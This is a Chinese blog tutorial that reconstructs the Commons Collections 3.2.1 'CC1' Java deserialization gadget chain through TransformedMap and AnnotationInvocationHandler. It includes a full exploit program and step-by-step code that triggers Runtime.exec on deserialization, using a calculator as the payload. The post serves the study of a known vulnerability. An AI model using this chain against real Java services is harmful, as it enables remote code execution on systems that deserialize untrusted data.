java反序列化CC1 Transformmap攻击链--2022最新

java反序列化CC1 Transformmap攻击链反推

完整攻击代码:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						TransformedMap.checkSetValue()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;


public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "key");

Map<Object, Object> transformmap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationconstructor.setAccessible(true);
    Object o = annotationconstructor.newInstance(Target.class, transformmap);  //调用构造函数并实例化,第一个参数为注解,第二个参数为恶意Map
    serialize(o);
    unserialize("se.bin");
}

//序列化
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
        oos.writeObject(obj);
    }

//反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

• 漏洞环境

jdk:8u65 下载链接:链接:链接:https://pan.baidu.com/s/1L1HTuWc6_ehX7qEtkOXJ1A 提取码:Dp66

安装好jdk以后,解压jdk目录下的src文件夹,然后把sun包复制到解压后的src文件里面。

idea中 选择项目结构----SDK-----添加刚刚的8u65-----源路径-----添加解压后的src文件。

pom.xml

​ commons-collections

​ commons-collections

​ 3.2.1

• 攻击流程图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YNJohWgP-1666928124417)(file://C:/Users/hb22209/AppData/Local/Temp/.QR2EU1/1.png)]

• CC漏洞存在的方法:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接收任意类,利用反射调用该类的任意方法

• 反推流程

• 正常反射调用恶意代码

Runtime r = Runtime.getRuntime();
Class<Runtime> c = Runtime.class;  //反射读取类对象
Method execmethod = c.getMethod("exec",String.class);  //反射读取exec方法
execmethod.invoke(r, "calc");

• 通过CommonsCollections问题代码调用恶意代码

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

• 通过实例化InvokerTransformer类来调用transform()方法,该方法就是能调用任意方法的函数

• 在实例化时为什么要传入这三个参数?

在这里插入图片描述

• 通过构造函数传递满足要求的参数,后面漏洞函数也会通过反射调用相关参数 达到执行任意代码的能力

在这里插入图片描述

• 到这一步就会发现,transform()函数里面执行的反射调用,跟我们之前正常执行的反射调用是一样的。

• 逆向思考,哪个函数会调用InvokerTransformer.transform()方法?或者不同类的同名方法?


可以点击transform方法 然后 ctrl+alt+F7 查找看有那些类调用了transform方法。

在这里插入图片描述

• 这里我们可以看到BeanMap这个类里面的convertType方法调用了transform方法,但是能否形成攻击链还需要我们自己去尝试,最后我们找到了TransformedMap这个类下面的三个方法都会调用transform方法,考虑到成功的几率会大一点,所以我们选择了这个类来实现transform方法。

• 实现TransformedMap:

查看构造方法:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

静态方法:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

调用其静态方法就会调用自身的构造方法,所以我们这里需要看看 静态方法的传参格式,第一个参数需要传入map对象,第二个和第三个参数我们先不管,回过头来看看刚刚找到的利用点函数:

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

可以看出这个 checkSetValue函数 返回的是 valueTransformer.transform(value); 也就是我们第三个参数的transform方法,如果我们第三个参数传入InvokerTransformer的实例对象,那么就形成了我们最初的那条攻击链:

InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokertransformer.transform(r);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object, Object> transformmap = TransformedMap.decorate(map,null,invokertransformer);

• 接下来我们就要分析如何调用 checkSetValue这个有问题的函数,我们继续跟踪查看是谁调用了这个函数,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q3ZV9uXQ-1666928124423)(file://C:/Users/hb22209/AppData/Local/Temp/.QR2EU1/10.png)]

发现是他的父类调用了这个有问题的函数,如果熟悉hashmap的朋友就知道这个类是用来遍历hashmap的,具体例子如下:

import java.util.HashMap;
import java.util.Map.Entry;

class Main {
    public static void main(String[] args) {

        // 创建一个HashMap
        HashMap<String, Integer> numbers = new HashMap<>();
        numbers.put("One", 1);
        numbers.put("Two", 2);
        numbers.put("Three", 3);
        System.out.println("HashMap: " + numbers);

        // 访问 HashMap 中的每一个映射项
        System.out.print("Entries: ");

        // entrySet()返回了 HashMap 中所有映射项的一个 set 集合视图
        // for-each loop 在该视图中访问了每一映射项
        for(Entry<String, Integer> entry: numbers.entrySet()) {
            System.out.print(entry);
            System.out.print(", ");
        }
    }
}

所以可以使用遍历的方法调用 setValue方法:

for (Map.Entry entry:transformmap.entrySet()){
    entry.setValue(r);
}

• 最后整个第二条链的代码如下:

Runtime r = Runtime.getRuntime();
//        Class<Runtime> c = Runtime.class;  //反射读取类对象
//        System.out.println(c);
//        Method execmethod = c.getMethod("exec",String.class);  //反射读取exec方法
//        execmethod.invoke(r, "calc");


        //通过CommonsCollections问题代码调用恶意代码

        InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        invokertransformer.transform(r);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object, Object> transformmap = TransformedMap.decorate(map,null,invokertransformer);
        for (Map.Entry entry:transformmap.entrySet()){
            entry.setValue(r);
        }

• 接下来就寻找谁调用了 MapENtry.setValue(),如果在调用了该方法的同时还重写了readObject方法 那么我们的反推链就结束了,如果没有这样的调用那我们就得继续往回推 直到找到重写readObject方法的类,如果找了很久还是没有找到,那就说明这条攻击链不行,这里我们刚好找到了这样的类:

• 这个类就满足了我们的条件,即重写了readObject方法 又调用了MapEntray下的setValue方法,完美。

• 查看该类的构造函数:

在这里插入图片描述

• 构造函数采用默认类型,也就意味着调用该方法需要使用反射。第一个参数需要传一个注解相关的类,第二个参数需要传入Map类型的,这里我们就可以通过反射调用该类 然后将我们第二条链的恶意Map传入第二个参数里面。

• 通过序列化 反序列化的方式触发 远程代码执行。

//通过反射实例化对象↓
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationconstructor.setAccessible(true);
        Object o = annotationconstructor.newInstance(Override.class, transformmap);  //调用构造函数并实例化,第一个参数为注解,第二个参数为恶意Map


		serialize(o);   // 序列化
        unserialize("ser.bin");  //反序列化
        
        /*自己写的序列化,反序列化函数*/


public static void serialize(Object obj) throws IOException{
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

AnnotationInvocationHandler遇到的问题

• 但是要调用 AnnotationInvocationHandler 下面的 setValue方法 需要解决几个问题:

1.Runtime类无法被发序列化,因为没有继承反序列化接口。
2.要进入setValue方法需要满足两个if的判断。
3.进入以后 setValue 传参的第一个参数是已经指定好的,无法可控。

• 所以要实现最后的攻击链 我们还需要解决这三个问题:

解决1.通过反射实例化 Runtime类

Class<Runtime> c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime)getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

根据InvokeTransformer变成可以反序列化的版本代码:

Method  getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getRuntimemethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

• 在ChainedTransformer#transform中,通过遍历 this.iTransformers 来调用数组中每一个对象的 transform 方法。结合上面的代码,可以构造出链式调用 Runtime.getRuntime().exec(“calc”),此时便成功向系统注入了一个 Runtime 对象,完成了任意代码执行,这便是 Commons Collection 反序列化漏洞的核心。

• 查看 ChainedTransformer#transform

在这里插入图片描述

所以将上面的代码放入数组中:

/*
Method  getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getRuntimemethod);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); 

*/


Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

解决2. 满足两个if判断:

在我们调用AnnotationInvocationHandler这个类重写的 readObject的时候 需要满足两个if判断:

在这里插入图片描述

大致就是先取出我们map里面的key,然后把key放到 newInstance()的第一个参数里面查找有没有跟key同名的成员方法,如果没有找到就是null。

在这里插入图片描述

我们只需要把传入的 key值 变成 跟 Target.class里面的成员方法名一样就可以了:

解决3.进入以后 setValue 传参的第一个参数是已经指定好的,无法可控。

当我们绕过if进入setvalue()方法以后发现 传入的值被写死了是不可控的

在这里插入图片描述

在这里插入图片描述

我们可以通过ConstantTransformer.transform()来把我们的runtime.class传入到 checkSetValue()里面的transform里面:

如果我们在数组里面 加入 ConstantTransformer(Runtime.class),通过循环其实调用的是 ConstantTransformer.transform(),而这个方法会直接返回我们写入的类,也就是这个地方是可控的,在循环里面就会直接返回我们的恶意类,达到可控的目的。

到此我们的三个问题就解决了,攻击链也就成功构造好了。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值